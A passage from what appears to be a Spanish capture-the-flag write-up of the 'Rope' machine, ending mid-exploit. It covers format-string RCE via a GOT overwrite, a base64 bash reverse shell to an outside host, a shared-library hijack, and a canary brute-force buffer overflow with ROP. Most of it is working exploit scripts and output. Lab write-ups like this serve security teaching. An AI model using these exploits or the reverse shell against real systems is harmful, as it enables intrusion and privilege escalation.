listen on port 9999, fd is 3
accept request, fd is 4, pid is 261035
sh: 1: request: not found
Usage: GET [-options] <url>...
-m <method> use method for the request (default is 'GET')
-f make request even if GET believes method is illegal
-b <base> Use the specified URL as base
-t <timeout> Set timeout value
-i <time> Set the If-Modified-Since header on the request
-c <conttype> use this content-type for POST, PUT, CHECKIN
-a Use text mode for content I/O
-p <proxyurl> use this as a proxy
-P don't load proxy settings from environment
-H <header> send this HTTP header (you can specify several)
-C <username>:<password>
provide credentials for basic authentication
-u Display method and URL before any response
-U Display request headers (implies -u)
-s Display response status code
-S Display response status chain (implies -u)
-e Display response headers (implies -s)
-E Display whole chain of headers (implies -S and -U)
-d Do not display content
-o <format> Process HTML content in various ways
-v Show program version
-h Print this message
127.0.0.1:34438 404 - -HUV -IUV -JUV X-KUV
Pero hay uno interesante. De hecho, GET
es un comando, y su panel de ayuda se muestra cuando se ejecuta sin argumentos:
$ GET
Usage: GET [-options] <url>...
-m <method> use method for the request (default is 'GET')
-f make request even if GET believes method is illegal
-b <base> Use the specified URL as base
-t <timeout> Set timeout value
-i <time> Set the If-Modified-Since header on the request
-c <conttype> use this content-type for POST, PUT, CHECKIN
-a Use text mode for content I/O
-p <proxyurl> use this as a proxy
-P don't load proxy settings from environment
-H <header> send this HTTP header (you can specify several)
-C <username>:<password>
provide credentials for basic authentication
-u Display method and URL before any response
-U Display request headers (implies -u)
-s Display response status code
-S Display response status chain (implies -u)
-e Display response headers (implies -s)
-E Display whole chain of headers (implies -S and -U)
-d Do not display content
-o <format> Process HTML content in various ways
-v Show program version
-h Print this message
Obteniento RCE
Si modificamos el exploit cambiando GET
por whoami
, veremos la ejecución de whoami
:
$ sed -i s/GET/whoami/g fmtstr_exploit.py
$ python3 fmtstr_exploit.py
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] Closed connection to 127.0.0.1 port 9999
$ ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 263141
sh: 1: request: not found
rocky
127.0.0.1:34440 404 - -HUV -IUV -JUV X-KUV
Chulo, ¿no? Entonces param_3 + 0x400
apunta exactamente al método de petición HTTP. Podemos verificarlo en el código fuente descompilado:
void parse_request(undefined4 param_1, int param_2) {
// ...
local_10 = *(int *) (in_GS_OFFSET + 0x14);
*(undefined4 *) (param_2 + 0x800) = 0;
*(undefined4 *) (param_2 + 0x804) = 0;
rio_readinitb(local_101c, param_1);
rio_readlineb(local_101c, &local_c10, 0x400);
__isoc99_sscanf(&local_c10, "%s %s", local_810, &local_410);
// ...
strcpy((char *) (param_2 + 0x400), local_810);
url_decode(local_1028, param_2, 0x400);
if (local_10 != *(int *) (in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
Aquí aparece sscanf
(__isoc99_sscanf
) para parsear la línea de petición, dividiéndola por espacios en blanco, de manera que la primera parte (el método HTTP) va a local_810
. Y luego, se copia en param_2 + 0x400
. Esta variable param_2
en parse_request
es la misma que param_3
en log_access
.
Entonces tenemos una manera de ejecutar comandos explotando la vulnerabilidad de Format String. Pero hay otro problema: no podemos usar espacios en el comando. De acuerdo con unix.stackexchange.com, es posible usar la variable de entorno ${IFS}
para eso. Vamos a probar:
$ sed -i s/whoami/echo\${IFS}asdf/g fmtstr_exploit.py
$ python3 fmtstr_exploit.py
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] Closed connection to 127.0.0.1 port 9999
$ ./httpserver
listen on port 9999, fd is 3
accept request, fd is 4, pid is 335175
sh: 1: request: not found
asdf
127.0.0.1:34442 404 - -HUV -IUV -JUV X-KUV
Genial, ya va siendo hora de explotar el servidor remoto. Recordemos que teníamos información útil en /proc/self/maps
(la dirección base del binario es 0x565ab000
y la dirección base de Glibc es 0xf7dad000
):
$ curl 10.10.10.148:9999//proc/self/maps -H 'Range: bytes=0-1000000'
565ab000-565ac000 r--p 00000000 08:02 46784 /opt/www/httpserver
565ac000-565ae000 r-xp 00001000 08:02 46784 /opt/www/httpserver
565ae000-565af000 r--p 00003000 08:02 46784 /opt/www/httpserver
565af000-565b0000 r--p 00003000 08:02 46784 /opt/www/httpserver
565b0000-565b1000 rw-p 00004000 08:02 46784 /opt/www/httpserver
57c42000-57c64000 rw-p 00000000 00:00 0 [heap]
f7dad000-f7f7f000 r-xp 00000000 08:02 46904 /lib32/libc-2.27.so
f7f7f000-f7f80000 ---p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f80000-f7f82000 r--p 001d2000 08:02 46904 /lib32/libc-2.27.so
f7f82000-f7f83000 rw-p 001d4000 08:02 46904 /lib32/libc-2.27.so
f7f83000-f7f86000 rw-p 00000000 00:00 0
f7f8f000-f7f91000 rw-p 00000000 00:00 0
f7f91000-f7f94000 r--p 00000000 00:00 0 [vvar]
f7f94000-f7f96000 r-xp 00000000 00:00 0 [vdso]
f7f96000-f7fbc000 r-xp 00000000 08:02 46900 /lib32/ld-2.27.so
f7fbc000-f7fbd000 r--p 00025000 08:02 46900 /lib32/ld-2.27.so
f7fbd000-f7fbe000 rw-p 00026000 08:02 46900 /lib32/ld-2.27.so
ffea8000-ffec9000 rw-p 00000000 00:00 0 [stack]
curl: (18) transfer closed with 998488 bytes remaining to read
Vamos a descargar la librería Glibc remota:
$ wget -q 10.10.10.148:9999//lib32/libc-2.27.so
$ file libc-2.27.so
libc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=63b3d43ad45e1b0f601848c65b067f9e9b40528b, for GNU/Linux 3.2.0, stripped
Una vez que hemos entendido cómo funciona un exploit de Format String, podemos automatizar todo con pwntools
. Veremos que es extremadamente fácil:
def main():
if len(sys.argv) == 1:
log.error(f"Usage: python3 {sys.argv[0]} '<command>'")
elf.address, glibc.address = get_base_addresses()
log.success(f'ELF base address : {hex(elf.address)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
command = sys.argv[1].replace(' ', '${IFS}').encode()
payload = url_encode(fmtstr_payload(53, {
elf.got.puts: glibc.sym.system
}))
http = remote(host, 9999)
http.sendline(command + b' /' + payload + b' HTTP/1.1\n')
http.close()
El exploit completo se puede encontrar aquí: fmtstr_exploit.py
.
Ahora podemos conseguir una reverse shell en la máquina usando nc
:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ python3 fmtstr_exploit.py 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash'
[*] './httpserver'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] Closed connection to 10.10.10.148 port 9999
[+] ELF base address : 0x5657c000
[+] Glibc base address: 0xf7d7a000
[+] Opening connection to 10.10.10.148 on port 9999: Done
[*] Closed connection to 10.10.10.148 port 9999
$ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.148 43178
bash: cannot set terminal process group (1193): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
john@rope:/opt/www$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
bash: /root/.bashrc: Permission denied
john@rope:/opt/www$ ^Z
zsh: suspended nc -nlvp 4444
$ stty raw -echo; fg
[1] + continued nc -nlvp 4444
reset xterm
john@rope:/opt/www$ export TERM=xterm
john@rope:/opt/www$ export SHELL=bash
john@rope:/opt/www$ stty rows 50 columns 158
Perfecto, tenemos ejecución remota de comandos (RCE) como john
.
Movimiento lateral al usuario r4j
La enumeración básica nos dice que john
puede ejecutar /usr/bin/readlogs
como r4j
usando sudo
:
john@rope:/opt/www$ sudo -l
Matching Defaults entries for john on rope:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on rope:
(r4j) NOPASSWD: /usr/bin/readlogs
john@rope:/opt/www$ file /usr/bin/readlogs
/usr/bin/readlogs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, B
uildID[sha1]=67bdf14148530fcc5c26260c3450077442e89f66, not stripped
Se trata de un binario ELF. Si lo ejecutamos, vemos una ristra de mensajes de log:
john@rope:/opt/www$ sudo -u r4j /usr/bin/readlogs
Jul 19 21:00:01 rope CRON[1726]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:00:01 rope CRON[1726]: pam_unix(cron:session): session closed for user root
Jul 19 21:02:01 rope CRON[1731]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:02:01 rope CRON[1731]: pam_unix(cron:session): session closed for user root
Jul 19 21:04:01 rope CRON[1785]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:04:01 rope CRON[1785]: pam_unix(cron:session): session closed for user root
Jul 19 21:06:01 rope CRON[1808]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 19 21:06:01 rope CRON[1808]: pam_unix(cron:session): session closed for user root
Jul 19 21:06:08 rope sudo: john : TTY=pts/0 ; PWD=/opt/www ; USER=r4j ; COMMAND=/usr/bin/readlogs
Jul 19 21:06:08 rope sudo: pam_unix(sudo:session): session opened for user r4j by (uid=0)
Nada interesante, la verdad. Si miramos a las librerías compartidas que usa el binario, tenemos estas:
john@rope:/opt/www$ ldd /usr/bin/readlogs
linux-vdso.so.1 (0x00007ffd4f3e0000)
liblog.so => /lib/x86_64-linux-gnu/liblog.so (0x00007fc8e6732000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc8e5f28000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc8e651b000)
Mirándolas una a una, vemos que liblog.so
es modificable por cualquier usuario:
john@rope:/opt/www$ ls -l /lib/x86_64-linux-gnu/liblog.so
-rwxrwxrwx 1 root root 15984 Jun 19 2019 /lib/x86_64-linux-gnu/liblog.so
Ataque de Library Hijacking
Por tanto, podemos hacer un ataque de Library Hijacking e inyectar comandos maliciosos en la librería compartida, de manera que estos comandos se ejecuten como r4j
. Para comenzar, podemos crear este programa en C y compilarlo como libraría compartida:
john@rope:/opt/www$ cd /tmp
john@rope:/tmp$ vim lib.c
john@rope:/tmp$ cat lib.c
#include <unistd.h>
void _init() {
char *argv[] = {"/bin/sh", 0};
execve(argv[0], &argv[0], NULL);
}
john@rope:/tmp$ gcc -shared -fpic lib.c -o /lib/x86_64-linux-gnu/liblog.so
La idea es secuestrar la ejecución del programa una vez que se cargue la librería, de ahí que se defina la función _init
. Sin embargo, tenemos que definir una función llamada printlog
, porque es usada por el binario:
john@rope:/tmp$ sudo -u r4j /usr/bin/readlogs
/usr/bin/readlogs: symbol lookup error: /usr/bin/readlogs: undefined symbol: printlog
Pues vamos a cambiar _init
por printlog
:
john@rope:/tmp$ vim lib.c
john@rope:/tmp$ cat lib.c
#include <unistd.h>
void printlog() {
char *argv[] = {"/bin/sh", 0};
execve(argv[0], &argv[0], NULL);
}
john@rope:/tmp$ gcc -shared -fpic lib.c -o /lib/x86_64-linux-gnu/liblog.so
Y ya tenemos una shell como r4j
:
john@rope:/tmp$ sudo -u r4j /usr/bin/readlogs
$ whoami
r4j
$ bash
r4j@rope:/tmp$ cd /home/r4j
r4j@rope:/home/r4j$ cat user.txt
e81294485fad64644230fc9397b127f8
Escalada de privilegios
Este usuario pertenece al grupo adm
. Si miramos los archivos que pertenecen a este grupo, vemos uno sospechoso:
r4j@rope:/tmp$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)
r4j@rope:/tmp$ find / -group adm 2>/dev/null
/opt/support
/opt/support/contact
/var/spool/rsyslog
/var/log/unattended-upgrades
/var/log/kern.log
/var/log/syslog
/var/log/cloud-init.log
/var/log/apt/term.log
/var/log/auth.log
/snap/core/7270/var/log/dmesg
/snap/core/7270/var/log/fsck/checkfs
/snap/core/7270/var/log/fsck/checkroot
/snap/core/7270/var/spool/rsyslog
/snap/core/6964/var/log/dmesg
/snap/core/6964/var/log/fsck/checkfs
/snap/core/6964/var/log/fsck/checkroot
/snap/core/6964/var/spool/rsyslog
Sí, se trata de /opt/support/contact
, que es otro archivo binario:
r4j@rope:/tmp$ ls -l /opt/support/contact
-rwxr-x--- 1 root adm 14632 Jun 19 2019 /opt/support/contact
r4j@rope:/tmp$ file /opt/support/contact
/opt/support/contact: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3b330cabc203d0d813e3114f1515b044a1fd4f, stripped
Analizando el binario contact
Si tratamos de ejecutarlo, vemos un error:
r4j@rope:/tmp$ /opt/support/contact
ERROR: Address already in use
Por tanto, podemos pensar que el binario ya está en ejecución. De hecho, si enumeramos los puertos locales abiertos, vemos que hay un proceso a la escucha en el puerto 1337:
r4j@rope:/tmp$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN
tcp 0 138 10.10.10.148:43178 10.10.17.44:4444 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
Luego, podemos listar procesos y ver que /opt/support/contact
está en ejecución como usuario root
:
r4j@rope:/tmp$ ps -faux | tail
r4j 1973 0.0 0.2 19680 4536 pts/0 S Jul19 0:00 | \_ bash
r4j 2319 0.0 0.1 36856 3324 pts/0 R+ 00:09 0:00 | \_ ps -faux
r4j 2320 0.0 0.0 4568 848 pts/0 S+ 00:09 0:00 | \_ tail
root 1126 0.0 0.1 57500 3148 ? S Jul19 0:00 \_ /usr/sbin/CRON -f
root 1194 0.0 0.0 4628 804 ? Ss Jul19 0:00 \_ /bin/sh -c /opt/support/contact
root 1196 0.0 0.0 4516 704 ? S Jul19 0:00 \_ /opt/support/contact
syslog 1102 0.0 0.2 267272 5112 ? Ssl Jul19 0:00 /usr/sbin/rsyslogd -n
root 1116 0.0 0.3 288876 6444 ? Ssl Jul19 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1148 0.0 0.0 14888 1924 tty1 Ss+ Jul19 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1167 0.0 0.2 72296 5588 ? Ss Jul19 0:00 /usr/sbin/sshd -D
Vamos a descargar el binario a nuestra máquina de atacante para analizarlo con Ghidra:
r4j@rope:/tmp$ which python3
/usr/bin/python3
r4j@rope:/tmp$ cd /opt/support/
r4j@rope:/opt/support$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [] "GET /contact HTTP/1.1" 200 -
$ wget 10.10.10.148:8000/contact
Lo primero de todo, el binario está protegido casi al completo:
$ checksec contact
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
En Ghidra, vemos la función main
:
void main() {
long in_FS_OFFSET;
socklen_t local_40;
uint port;
uint local_38;
uint local_34;
int local_30;
int local_2c;
sockaddr local_28;
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
port = 1337;
local_40 = 0x10;
local_38 = FUN_00101267(1337);
local_34 = local_38;
if (0 < (int) local_38) {
printf("listen on port %d, fd is %d\n", (ulong) port, (ulong) local_38);
signal(0xd, (__sighandler_t) 0x1);
signal(0x11, (__sighandler_t) 0x1);
while (true) {
do {
local_30 = accept(local_38, &local_28, &local_40);
} while (local_30 < 0);
local_2c = process();
if (local_2c == 1) break;
close(local_30);
}
/* WARNING: Subroutine does not return */
exit(0);
}
perror("ERROR");
/* WARNING: Subroutine does not return */
exit(local_38);
}
De nuevo, se trata de un servidor de socket que escucha en el puerto 1337. Cuando llega una conexión, se pasa a la función process
(renombrada de FUN_001014ee
):
__pid_t process(uint param_1) {
long canary;
__pid_t _Var2;
__uid_t _Var3;
size_t __n;
long in_FS_OFFSET;
canary = *(long *) (in_FS_OFFSET + 0x28);
_Var2 = fork();
if (_Var2 == 0) {
_Var3 = getuid();
printf("[+] Request accepted fd %d, pid %d\n", (ulong) param_1, (ulong)_Var3);
__n = strlen(s_Please_enter_the_message_you_wan_001040e0);
write(param_1, s_Please_enter_the_message_you_wan_001040e0, __n);
vuln();
send(param_1, "Done.\n", 6, 0);
_Var2 = 0;
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return _Var2;
}
Básicamente, imprime mensajes a stdout
y luego va a vuln
(renombrada de FUN_0010159a
):
void vuln(int param_1) {
long in_FS_OFFSET;
undefined local_48[56];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
recv(param_1, local_48, 0x400, 0);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Obviamente, si le he puesto de nombre vuln
es porque hay la función es vulnerable. En efecto, existe una vulnerabilidad de Buffer Overflow ya que local_48
tiene 56 bytes asignados como buffer y recv
lee hasta 0x400
(512) bytes y los guarda en local_48
. Podemos probarlo en local:
$ ./contact
listen on port 1337, fd is 3
$ nc 127.0.0.1 1337
Please enter the message you want to send to admin:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./contact
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 1000
*** stack smashing detected ***: terminated
No vemos un mensaje de violación de segmento (segmentation fault), pero sí vemos un *** stack smashing detected ***
, que se debe a la protección del canario.
Explotación de Buffer Overflow
Vamos a dar un poco de contexto. El canario de la pila (stack canary) es un valor aleatorio calculado al comienzo del programa que se guarda en la pila antes de las copias de $rbp
y $rip
. Cuando una función va a retornar, el programa mira si el valor del canario en la pila coincide con el que calculó el programa en el inicio (que está guardado en una zona segura). Si los valores son diferentes, el programa asume que ha ocurrido un ataque de Buffer Overflow (stack smashing) y fuerza el fin de la ejecución del programa (__stack_chk_fail
). Si no, el programa sigue.
Por tanto, para evitar esta protección, lo que tenemos que hacer es obtener el valor del canario de alguna manera (que se calcula en tiempo de ejecución, por lo que cambia cada vez que se reinicia el programa). Luego, tendremos que ponerlo en nuestro payload, de manera que sobrescribimos el canario con el mismo valor y el programa no se dará cuenta de la explotación de Buffer Overflow.
¿Pero cómo podemos afrontar esto? Bueno, estamos ante un servidor de socket que usa fork
cada vez que llega una nueva conexión, por lo que todo el mapa de memoria se copia del proceso padre al proceso hijo. Esto significa que el proceso que se rompe es el hijo, el padre sigue esperando nuevas conexiones. Además, el canario de la pila está configurado en el proceso padre, y se copia en el hijo. Podemos obtener el valor del canario carácter a carácter usando lo que se conoce como oráculo.
Primero de todo, vamos a descargar la librería Glibc y el loader de la máquina remota para tener el mismo exploit en local y en remoto:
r4j@rope:/opt/support$ cd /
r4j@rope:/$ ldd /opt/support/contact
linux-vdso.so.1 (0x00007ffccd8fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1bc9c6b000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1bca05c000)
r4j@rope:/$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.17.44 - - [] "GET /lib/x86_64-linux-gnu/libc.so.6 HTTP/1.1" 200 -
10.10.17.44 - - [] "GET /lib64/ld-linux-x86-64.so.2 HTTP/1.1" 200 -
$ wget -q 10.10.10.148:8000/lib/x86_64-linux-gnu/libc.so.6
$ wget -q 10.10.10.148:8000/lib64/ld-linux-x86-64.so.2
Usando pwninit
podemos parchear el binario para que use la librería y el loader indicados:
$ pwninit --libc libc.so.6 --ld ld-linux-x86-64.so.2 --bin contact --no-template
bin: contact
libc: libc.so.6
ld: ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1_amd64.deb
setting ld-linux-x86-64.so.2 executable
copying contact to contact_patched
running patchelf on contact_patched
Ahora tenemos contact_patched
, que se comportará de manera igual al binario remoto.
Vamos a comenzar por obtener el número de bytes necesarios para acontecer la vulnerabilidad de Buffer Overflow. Una manera de hacer esto es matemáticamente (como local_48
tiene 56 bytes asignados, significa que los siguientes 8 bytes serán para el canario de la pila, luego el valor guardado de $rbp
y luego el valor guardado de $rip
o dirección de retorno).
Vamos a probarlo. Si introducimos exactamente 56 byte, todo está OK:
$ python3 -c 'import os; os.write(1, b"A" * 56)' | nc 127.0.0.1 1337
Please enter the message you want to send to admin:
Done.
$ ./contact_patched
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 1000
Vamos a introducir uno nuevo:
$ python3 -c 'import os; os.write(1, b"A" * 57)' | nc 127.0.0.1 1337
Please enter the message you want to send to admin:
$ ./contact_patched
listen on port 1337, fd is 3
[+] Request accepted fd 4, pid 1000
*** stack smashing detected ***: <unknown> terminated
Bien, ya sabemos dónde comienza el canario. ¿Puedes ver alguna diferencia más en las respuestas? Sí, ¡tenemos un oráculo! Si el canario no se modifica, el servidor responde Done.
, y si no, no responde. Entonces tenemos una manera de hacer fuerza bruta carácter a carácter hasta que tengamos un mensaje Done.
, que significa que el byte probado es correcto y podemos pasar al siguiente byte del canario, hasta obtenerlo al completo.
Obteniendo fugas de memoria
Podemos comenzar a escribir el exploit en Python con pwntools
:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('contact')
glibc = ELF('libc.so.6', checksec=False)
def get_process():
if len(sys.argv) != 2:
log.error(f'Usage: python3 {sys.argv[0]} <ip:port>')
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
offset = 56
junk = b'A' * offset
canary = b''
canary_prog = log.progress('Canary')
while len(canary) < 8:
for b in range(256):
with context.local(log_level='CRITICAL'):
p = get_process()
test_canary = canary + p8(b)
canary_prog.status(test_canary.hex())
p.sendafter(b'admin:\n', junk + test_canary)
try:
if b'Done.' in p.recv():
canary = test_canary
break
except EOFError:
pass
finally:
with context.local(log_level='CRITICAL'):
p.close()
canary_prog.success(canary.hex())
if __name__ == '__main__':
main()
Después de algunos minutos, tenemos el canario:
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 00a473852a55d816
Ahora que hemos fugado el canario, somos capaces de explotar la vulnerabilidad de Buffer Overflow. Sabemos que se trata del canario porque contiene un byte nulo al principio, que previene que sea fugado como una string (las strings en C terminan en un byte nulo). Además, mientras que no paremos el servidor, el valor del canario o podemos poner hard-coded en el exploit para ahorrar tiempo, ya que no va a cambiar.
La siguiente protección que tenemos que burlar es PIE, que significa que el ASLR afecta a las direcciones del propio binario. Por tanto, tenemos que fugar una dirección del binario en tiempo de ejecución para calcular la dirección base.
De momento, la única cosa que podemos hacer para fugar una dirección es continuar con el ataque de fuerza bruta para fugar los valor guardados de $rbp
y $rip
. Sabemos que vuln
retornará a process
, por lo que la dirección de retorno está en process
(y por tanto, forma parte del binario).
Podemos seguir usando el mismo oráculo porque $rbp
y $rip
se utilizan por el programa para controlar la pila y el flujo de ejecución, respectivamente. Si modificamos un solo byte de ellos, es muy probable que programa se corrompa, consiguiendo el mismo oráculo que antes.
En este punto, podemos extraer el código de fuerza bruta a una función para llamarla tres veces:
def brute_force_value(payload: bytes, name: str, start: bytes = b'') -> bytes:
value = start
value_prog = log.progress(name)
while len(value) < 8:
for b in range(256):
with context.local(log_level='CRITICAL'):
p = get_process()
test_value = value + p8(b)
value_prog.status(test_value.hex())
p.sendafter(b'admin:\n', payload + test_value)
try:
if b'Done.' in p.recv(timeout=1):
value = test_value
break
except EOFError:
pass
finally:
with context.local(log_level='CRITICAL'):
p.close()
value_prog.success(value.hex())
return value
def main():
offset = 56
junk = b'A' * offset
canary = brute_force_value(junk, 'Canary ', start=b'\0')
saved_rbp = brute_force_value(junk + canary, 'Saved $rbp')
saved_rip = brute_force_value(junk + canary + saved_rbp, 'Saved $rip', start=b'\x62')
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
[+] Saved $rip: 6265406add550000
Y ahí tenemos las fugas de memoria (nótese que están invertidas). Usé un parámetro start
para darle al proceso de fuerza bruta un byte fijo sobre el que empezar, porque se sabe de antemano que siempre va a ser ese valor. Para ahorrar tiempo, podemos poner estos valores hard-coded en el script, y así no tenemos que hacer la fuerza bruta de nuevo.
Ahora podemos calcular la dirección base del binario, porque sabemos que vuln
vuelve a 0x1562
(de Ghidra). Podemos también verlo con objdump
(send
se llama justo después de vuln
, pero el binario no muestra los nombres de funciones porque fue despojado de sus símbolos, stripped):
$ objdump -M intel -d contact | grep -B 6 send
0000000000001090 <htons@plt>:
1090: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 4048 <__cxa_finalize@plt+0x2ed8>
1096: 68 06 00 00 00 push 0x6
109b: e9 80 ff ff ff jmp 1020 <recv@plt-0x10>
00000000000010a0 <send@plt>:
--
155d: e8 38 00 00 00 call 159a <__cxa_finalize@plt+0x42a>
1562: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
1565: b9 00 00 00 00 mov ecx,0x0
156a: ba 06 00 00 00 mov edx,0x6
156f: 48 8d 35 26 0b 00 00 lea rsi,[rip+0xb26] # 209c <__cxa_finalize@plt+0xf2c>
1576: 89 c7 mov edi,eax
1578: e8 23 fb ff ff call 10a0 <send@plt>
Esta es la dirección base del binario:
elf.address = u64(saved_rip) - 0x1562
log.success(f'ELF base address: {hex(elf.address)}')
$ python3 root_exploit.py 127.0.0.1:1337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00a473852a55d816
[+] Saved $rbp: 00d42e79ff7f0000
[+] Saved $rip: 6265406add550000
[+] ELF base address: 0x55dd6a405000
Como comprobación, si la dirección base del binario termina en 000
, entonces generalmente será correcta. Si no, hay un error en algún lado.
Ataque ret2libc
Ahora que tenemos la dirección base del binario, podemos calcular cualquier dirección del binario usando los offsets correspondientes. Como NX está activa, tenemos que usar Return Oriented Programming (ROP) para ejecutar código arbitrario. Esta técnica hace uso de gadgets, que son direcciones a instrucciones que terminan en ret
, de manera que al ser puestas en la pila sobrescribiendo la dirección de retorno, se van ejecutando una detrás de otra (por eso estos payloads se conocen como cadenas ROP o ROP chains). Con ROP, el programa estará saltando a direcciones ejecutables del binario, burlando así la protección NX.
El propósito del exploit es realizar un ataque ret2libc, que consiste en ejecutar funciones de Glibc. Para ello, necesitamos otra fuga de memoria para burlar el ASLR. La fuga de memoria se tiene que hacer con puts
usando como primer argumento una dirección de la GOT. Como se vio anteriormente, la GOT contiene las direcciones de las funciones externas en tiempo de ejecución. Como las strings en C son punteros, si pasamos una dirección de la GOT a puts
, esta función imprimirá el valor guardado en dicha dirección, derivando el la fuga de memoria de una función de Glibc.
Para llamar a una función como puts
(que es externa), podemos usar la Tabla de Enlaces a Procedimientos (Procedure Linkage Table, PLT), que es una tabla dentro del binario que realiza un salto a la dirección de la función correspondiente.
Luego, tenemos que indicar el parámetro de puts
. Como estamos ante un binario de 64 bits, la convención de llamadas a funciones dice que los parámetros de las funciones van en los registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Hay un gadget útil pop rdi; ret
que podemos usar para añadir un valor dado a $rdi
tomado de la pila.
El procedimiento anterior es la forma clásica de fugar una dirección para posteriormente continuar con un ataque ret2libc. Esta vez, es algo distinto. No estamos ejecutando el binario, sino conectándonos a un socket, por lo que no podemos leer de stdout
. Entonces, en lugar de puts
, tenemos que llamar a write
y pasarle el descriptor de archivo del socket (normalmente, 4
) como primer argumento, la string a imprimir como segundo argumento, y la longitud de la string como tercer argumento.
Estos son los valores que necesitaremos:
- Gadgets
pop rdi; ret
(offset0x164b
),pop rsi; pop r15; ret
(offset0x1649
),pop rdx; ret
(offset0x1265
). Nótese que para configurar$rsi
tendremos que poner un valor cualquiera en$r15
:
$ ROPgadget --binary contact | grep 'pop r[ds][ix]'
0x000000000000164b : pop rdi ; ret
0x0000000000001265 : pop rdx ; ret
0x0000000000001649 : pop rsi ; pop r15 ; ret
- Una función para hacer el leak (fuga de memoria), por ejemplo
send
en la GOT (offset0x4050
):
$ readelf -r contact | grep send
000000004050 000900000007 R_X86_64_JUMP_SLO 0000000000000000 send@GLIBC_2.2.5 + 0
$ objdump -M intel -R contact | grep send
0000000000004050 R_X86_64_JUMP_SLOT send@GLIBC_2.2.5
write
en la PLT (offset0x1050
):
$ objdump -M intel -d contact | grep '<write@plt>'
0000000000001050 <write@plt>:
154e: e8 fd fa ff ff call 1050 <write@plt>
Todos los valores anteriores se pueden usar para desarrollar el exploit de forma más manual. Esta vez, usaré las funciones de pwntools
, porque sabemos lo que estamos haciendo:
rop = ROP(elf)
socket_fd = 4
